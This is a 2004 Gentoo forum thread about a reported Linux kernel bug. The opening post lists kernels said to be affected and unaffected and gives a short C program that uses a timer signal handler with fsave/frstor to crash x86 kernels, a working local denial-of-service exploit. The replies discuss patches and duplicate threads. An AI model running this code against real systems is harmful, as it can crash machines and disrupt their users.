Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
Linux Kernel Crash!!
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Duplicate Threads
View previous topic :: View next topic  
Author Message
RedDawn
Guru
Guru


Joined: 22 Sep 2003
Posts: 368
Location: Los Angeles, California

PostPosted: Mon Jun 14, 2004 4:37 pm    Post subject: Linux Kernel Crash!! Reply with quote

Running This C Program Crashes The Linux Kernel!!!

This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems.

The Crashing Kernels

Minor numbers are versions verified, this is just the top the iceberg:

* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.18-bf2.4 (debian woody vanilla)

The safe kernels

This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running

* Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
* Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
* Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
* Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
* 2.2.19-kernel


#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

All Found Here:

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc1
Back to top
View user's profile Send private message
gen2fox
Guru
Guru


Joined: 25 May 2004
Posts: 544

PostPosted: Mon Jun 14, 2004 4:39 pm    Post subject: Reply with quote

Covered here.
Back to top
View user's profile Send private message
sdaffis
Tux's lil' helper
Tux's lil' helper


Joined: 16 Nov 2003
Posts: 100
Location: Umeå, Sweden

PostPosted: Mon Jun 14, 2004 6:08 pm    Post subject: Reply with quote

Hopefully the patch will make it into final 2.6.7.. Or else! :)
_________________
Believe the lie
Back to top
View user's profile Send private message
Pythagoras1
Guru
Guru


Joined: 29 Jul 2002
Posts: 352
Location: Burgas, Bulgaria

PostPosted: Tue Jun 15, 2004 11:45 am    Post subject: Reply with quote

hmm... if i try this exploit on x86_64 linux 2.6.7-rc3 i get alot of dots and stars and the cpu usage increases to 100%. this looks like this:

Code:
..........*..............*.*............................................*.............................*................*.............


until i break it using ctrl-c. i thought 2.6.7-rc3 is safe?
Back to top
View user's profile Send private message
tomk
Bodhisattva
Bodhisattva


Joined: 23 Sep 2003
Posts: 7221
Location: Sat in front of my computer

PostPosted: Tue Jun 15, 2004 2:11 pm    Post subject: Reply with quote

Please search before posting, this has been posted several times in the last few days.

https://forums.gentoo.org/viewtopic.php?t=184705
_________________
Search | Read | Answer | Report | Strip
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Duplicate Threads All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum